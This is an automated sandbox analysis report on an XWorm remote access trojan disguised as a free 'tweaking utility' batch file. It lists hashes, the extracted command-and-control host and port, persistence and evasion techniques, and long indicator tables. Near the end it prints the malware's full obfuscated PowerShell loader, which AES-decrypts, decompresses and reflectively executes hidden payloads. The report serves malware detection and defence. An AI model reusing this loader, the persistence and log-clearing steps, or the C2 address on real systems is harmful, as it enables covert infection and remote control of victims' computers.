xworm | 7761d40ba646d274001e0243148781fbc722a64546ea208c0ba597265dbf6417

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-01-2025 17:40

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General

Target

Velocity_Free_Tweaking_Utility.bat
Size

470KB
MD5

368de487ff6ae5103c3307a2e0bed635
SHA1

0147386ef6eaab1ead49b1c094df3cc68977a708
SHA256

7761d40ba646d274001e0243148781fbc722a64546ea208c0ba597265dbf6417
SHA512

7105f7bcf98fbb87ffcd9cae17e7cf4e7d3821724dce25a81f1a1e9c4bc24b69a1206dcb532a389759edeca33ce8283599d4bb73b353882dc5b76b47c126cab5
SSDEEP

12288:MKvMPgbu1gDThxx0uXGQUKAVXqdeNi7KDJCU2iQQ/Qa4NnK:MKFa1gTqIlA4eNiWDJSHPK

Score

10^/10

xworm defense_evasion execution persistence rat trojan

Malware Config

Extracted

Family

xworm

kitchen-alaska.gl.at.ply.gg:4964

Attributes

Install_directory
%AppData%
install_file
SubDir.exe

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral2/memory/4876-16-0x0000024764A40000-0x0000024764AB2000-memory.dmp	family_xworm
behavioral2/memory/4876-30-0x00000247649D0000-0x00000247649E8000-memory.dmp	family_xworm
behavioral2/files/0x0008000000023c98-91.dat	family_xworm
behavioral2/memory/2464-130-0x0000000000F40000-0x0000000000F58000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
16	4876	powershell.exe
22	4876	powershell.exe
44	4876	powershell.exe
45	4876	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1488	powershell.exe
4824	powershell.exe
4928	powershell.exe
2284	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SubDir.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SubDir.lnk	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2464	XClient.exe
1916	SubDir.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SubDir = "C:\\Users\\Admin\\AppData\\Roaming\\SubDir.exe"	powershell.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\SubDir	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Modifies data under HKEY_USERS 17 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02gxxntfvstujijk\Provision Saturday, January 18, 2025 17:41:05 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqDHBeptKK0utvfg4yNcufQAAAAACAAAAAAAQZgAAAAEAACAAAABaLzqzfdImzjLBYz6wL6GAf/wMF+M7Wl3DCpBl3Ii0BgAAAAAOgAAAAAIAACAAAAD5sUrSMvj/0GvCfiWmdMCbOekBC1bR8DCDQUgBsds/QiAAAAAqgWuix1ycYlr+czMsP9YNQT1/fiZN4eEzoFgm26/WzkAAAAB8ZOttP1FfRlQzVvCCdEr09w3G5I2194QmL5NP0yNjzaFQDma15GZF8KGvP5beXBi0FJ2zopj5FiHzIHJkH9rH"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02tfdqjyteyhibzk\AppIdList	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02abkfcbibvqtrvl\DeviceId = "<Data LastUpdatedTime=\"1737222072\"><User username=\"02ABKFCBIBVQTRVL\"><HardwareInfo BoundTime=\"1737222072\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "001840113A6F5C3A"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02inmcpotdunntjp	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02inmcpotdunntjp\Provision Saturday, January 18, 2025 17:41:04 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqDHBeptKK0utvfg4yNcufQAAAAACAAAAAAAQZgAAAAEAACAAAACx9peJa0j+QIwQJU8E9Jht7fVdecx+dy3yM4pK87FdIwAAAAAOgAAAAAIAACAAAACjatxlUC5dqMWUPr4uAW0qrSdC5wpIGeIxoW8ezMiI8iAAAADWohAjzNS/9IFxkcaTjIicj2TDnbFKJue+5OS/yA8hJEAAAAAXxOfUEjNoo9biEShjs9kc1xqs/y7fQA4tLfA7bJ7PixDbVWURrMXuWfF9uOu8HjRq0ybGwcMtDbDqorRmpSid"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02abkfcbibvqtrvl"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02gxxntfvstujijk	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02abkfcbibvqtrvl\DeviceId = "<Data LastUpdatedTime=\"1737222072\"><User username=\"02ABKFCBIBVQTRVL\"/></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02abkfcbibvqtrvl\Provision Saturday, January 18, 2025 17:41:11 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqDHBeptKK0utvfg4yNcufQAAAAACAAAAAAAQZgAAAAEAACAAAABxnhyFPFYCM2er5FgilL0OLNcO2K13Om0pqV2UpFF9nQAAAAAOgAAAAAIAACAAAAAQ1GvU1YWlaBGOzX16f7Z/JjQtVNzp8evB/GRF8qnc2CAAAADSBCi/kLXzmn6sMLKyDXiuQnR5Kekwj7WxmL0FAXQ75kAAAABo73yvn5RPh9HMIlfG7KoGd/S265AvPl1K4SdWelcQhmilWQw8wT7zqPE85cO7UjmHC9n/pPpcMKRvGr7intoC"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02leqihyyvzbqqmk	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02leqihyyvzbqqmk\Provision Saturday, January 18, 2025 17:41:06 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqDHBeptKK0utvfg4yNcufQAAAAACAAAAAAAQZgAAAAEAACAAAABFOBLyo2N7pdKDwTbPqjvk4bt6kHu/B/CQq5m8HAnCJAAAAAAOgAAAAAIAACAAAAAXte3ym3loqSsqsakoRB+SqlyRFP4ztH8bXEZE07FCaiAAAADOFSRz4XEfY6NfVM0lVd2j3HGpOBt6LC4X6KqfS+AJRUAAAADKng9+lgAuO+jO6+/wwf/e4C7HicjFr/pGZl4JYfHOBp0nShrdomJuW9UsfQ0sMJzH2+IaSypS6BCvWtow2qw+"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02abkfcbibvqtrvl	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02abkfcbibvqtrvl	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02abkfcbibvqtrvl\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3372	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4928	powershell.exe
4928	powershell.exe
2284	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
2284	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
1488	powershell.exe
1488	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4824	powershell.exe
4824	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	2464	XClient.exe
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeShutdownPrivilege	3436	Explorer.EXE
Token: SeCreatePagefilePrivilege	3436	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2020	svchost.exe
Token: SeIncreaseQuotaPrivilege	2020	svchost.exe
Token: SeSecurityPrivilege	2020	svchost.exe
Token: SeTakeOwnershipPrivilege	2020	svchost.exe
Token: SeLoadDriverPrivilege	2020	svchost.exe
Token: SeSystemtimePrivilege	2020	svchost.exe
Token: SeBackupPrivilege	2020	svchost.exe
Token: SeRestorePrivilege	2020	svchost.exe
Token: SeShutdownPrivilege	2020	svchost.exe
Token: SeSystemEnvironmentPrivilege	2020	svchost.exe
Token: SeUndockPrivilege	2020	svchost.exe
Token: SeManageVolumePrivilege	2020	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2020	svchost.exe
Token: SeIncreaseQuotaPrivilege	2020	svchost.exe
Token: SeSecurityPrivilege	2020	svchost.exe
Token: SeTakeOwnershipPrivilege	2020	svchost.exe
Token: SeLoadDriverPrivilege	2020	svchost.exe
Token: SeSystemtimePrivilege	2020	svchost.exe
Token: SeBackupPrivilege	2020	svchost.exe
Token: SeRestorePrivilege	2020	svchost.exe
Token: SeShutdownPrivilege	2020	svchost.exe
Token: SeSystemEnvironmentPrivilege	2020	svchost.exe
Token: SeUndockPrivilege	2020	svchost.exe
Token: SeManageVolumePrivilege	2020	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2020	svchost.exe
Token: SeIncreaseQuotaPrivilege	2020	svchost.exe
Token: SeSecurityPrivilege	2020	svchost.exe
Token: SeTakeOwnershipPrivilege	2020	svchost.exe
Token: SeLoadDriverPrivilege	2020	svchost.exe
Token: SeSystemtimePrivilege	2020	svchost.exe
Token: SeBackupPrivilege	2020	svchost.exe
Token: SeRestorePrivilege	2020	svchost.exe
Token: SeShutdownPrivilege	2020	svchost.exe
Token: SeSystemEnvironmentPrivilege	2020	svchost.exe
Token: SeUndockPrivilege	2020	svchost.exe
Token: SeManageVolumePrivilege	2020	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2020	svchost.exe
Token: SeIncreaseQuotaPrivilege	2020	svchost.exe
Token: SeSecurityPrivilege	2020	svchost.exe
Token: SeTakeOwnershipPrivilege	2020	svchost.exe
Token: SeLoadDriverPrivilege	2020	svchost.exe
Token: SeSystemtimePrivilege	2020	svchost.exe
Token: SeBackupPrivilege	2020	svchost.exe
Token: SeRestorePrivilege	2020	svchost.exe
Token: SeShutdownPrivilege	2020	svchost.exe
Token: SeSystemEnvironmentPrivilege	2020	svchost.exe
Token: SeUndockPrivilege	2020	svchost.exe
Token: SeManageVolumePrivilege	2020	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2020	svchost.exe
Token: SeIncreaseQuotaPrivilege	2020	svchost.exe
Token: SeSecurityPrivilege	2020	svchost.exe
Token: SeTakeOwnershipPrivilege	2020	svchost.exe
Token: SeLoadDriverPrivilege	2020	svchost.exe
Token: SeSystemtimePrivilege	2020	svchost.exe
Token: SeBackupPrivilege	2020	svchost.exe
Token: SeRestorePrivilege	2020	svchost.exe
Token: SeShutdownPrivilege	2020	svchost.exe
Token: SeSystemEnvironmentPrivilege	2020	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 3532	2320	cmd.exe	84
PID 2320 wrote to memory of 3532	2320	cmd.exe	84
PID 2320 wrote to memory of 4876	2320	cmd.exe	85
PID 2320 wrote to memory of 4876	2320	cmd.exe	85
PID 4876 wrote to memory of 3436	4876	powershell.exe	56
PID 4876 wrote to memory of 2796	4876	powershell.exe	48
PID 4876 wrote to memory of 3344	4876	powershell.exe	69
PID 4876 wrote to memory of 2552	4876	powershell.exe	43
PID 4876 wrote to memory of 4324	4876	powershell.exe	66
PID 4876 wrote to memory of 1760	4876	powershell.exe	30
PID 4876 wrote to memory of 2544	4876	powershell.exe	42
PID 4876 wrote to memory of 1164	4876	powershell.exe	20
PID 4876 wrote to memory of 2340	4876	powershell.exe	65
PID 4876 wrote to memory of 1348	4876	powershell.exe	23
PID 4876 wrote to memory of 1148	4876	powershell.exe	19
PID 4876 wrote to memory of 1736	4876	powershell.exe	29
PID 4876 wrote to memory of 1928	4876	powershell.exe	32
PID 4876 wrote to memory of 968	4876	powershell.exe	12
PID 4876 wrote to memory of 1124	4876	powershell.exe	17
PID 4876 wrote to memory of 920	4876	powershell.exe	11
PID 4876 wrote to memory of 2276	4876	powershell.exe	40
PID 4876 wrote to memory of 1332	4876	powershell.exe	22
PID 4876 wrote to memory of 1276	4876	powershell.exe	74
PID 4876 wrote to memory of 1544	4876	powershell.exe	26
PID 4876 wrote to memory of 1936	4876	powershell.exe	37
PID 4876 wrote to memory of 2848	4876	powershell.exe	52
PID 4876 wrote to memory of 2032	4876	powershell.exe	35
PID 4876 wrote to memory of 2840	4876	powershell.exe	51
PID 4876 wrote to memory of 2248	4876	powershell.exe	39
PID 4876 wrote to memory of 1652	4876	powershell.exe	28
PID 4876 wrote to memory of 2828	4876	powershell.exe	50
PID 4876 wrote to memory of 1644	4876	powershell.exe	36
PID 4876 wrote to memory of 1244	4876	powershell.exe	21
PID 4876 wrote to memory of 1440	4876	powershell.exe	25
PID 4876 wrote to memory of 1828	4876	powershell.exe	31
PID 4876 wrote to memory of 1432	4876	powershell.exe	24
PID 4876 wrote to memory of 1036	4876	powershell.exe	16
PID 4876 wrote to memory of 2020	4876	powershell.exe	34
PID 4876 wrote to memory of 640	4876	powershell.exe	68
PID 4876 wrote to memory of 1140	4876	powershell.exe	18
PID 4876 wrote to memory of 1580	4876	powershell.exe	27
PID 4876 wrote to memory of 2008	4876	powershell.exe	33
PID 4876 wrote to memory of 824	4876	powershell.exe	72
PID 4876 wrote to memory of 2596	4876	powershell.exe	45
PID 4876 wrote to memory of 424	4876	powershell.exe	14
PID 4876 wrote to memory of 792	4876	powershell.exe	8
PID 4876 wrote to memory of 1004	4876	powershell.exe	15
PID 4876 wrote to memory of 2380	4876	powershell.exe	41
PID 4876 wrote to memory of 3560	4876	powershell.exe	57
PID 4876 wrote to memory of 3352	4876	powershell.exe	55
PID 4876 wrote to memory of 2760	4876	powershell.exe	46
PID 4876 wrote to memory of 4692	4876	powershell.exe	86
PID 4876 wrote to memory of 4692	4876	powershell.exe	86
PID 4876 wrote to memory of 2464	4876	powershell.exe	87
PID 4876 wrote to memory of 2464	4876	powershell.exe	87
PID 4692 wrote to memory of 3940	4692	cmd.exe	89
PID 4692 wrote to memory of 3940	4692	cmd.exe	89
PID 4692 wrote to memory of 3500	4692	cmd.exe	90
PID 4692 wrote to memory of 3500	4692	cmd.exe	90
PID 4692 wrote to memory of 3484	4692	cmd.exe	91
PID 4692 wrote to memory of 3484	4692	cmd.exe	91
PID 4692 wrote to memory of 1092	4692	cmd.exe	92
PID 4692 wrote to memory of 1092	4692	cmd.exe	92
PID 4692 wrote to memory of 4464	4692	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:792
- C:\Windows\system32\wbem\wmiprvse.exe
  C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
  2⤵
  PID:228
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:1108
- C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
  C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
  2⤵
  PID:4052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:424

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1140
- C:\Users\Admin\AppData\Roaming\SubDir.exe
  C:\Users\Admin\AppData\Roaming\SubDir.exe
  2⤵
  - Executes dropped EXE
  PID:1916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2276

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3352

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QnpmxQANU729MWfimT9pRBSpyJbPXXn82T+WpDZPl7k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XI5lMeQ6bxkYFYuitmF2dw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BTAyb=New-Object System.IO.MemoryStream(,$param_var); $uuueC=New-Object System.IO.MemoryStream; $QoOjO=New-Object System.IO.Compression.GZipStream($BTAyb, [IO.Compression.CompressionMode]::Decompress); $QoOjO.CopyTo($uuueC); $QoOjO.Dispose(); $BTAyb.Dispose(); $uuueC.Dispose(); $uuueC.ToArray();}function execute_function($param_var,$param2_var){ $mxfiw=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WfALI=$mxfiw.EntryPoint; $WfALI.Invoke($null, $param2_var);}$bcPKQ = 'C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat';$host.UI.RawUI.WindowTitle = $bcPKQ;$hlmzn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($bcPKQ).Split([Environment]::NewLine);foreach ($fqbiG in $hlmzn) { if ($fqbiG.StartsWith('jQaeeWFGbtZvamaElQrD')) { $BLrbP=$fqbiG.Substring(20); break; }}$payloads_var=[string[]]$BLrbP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3532
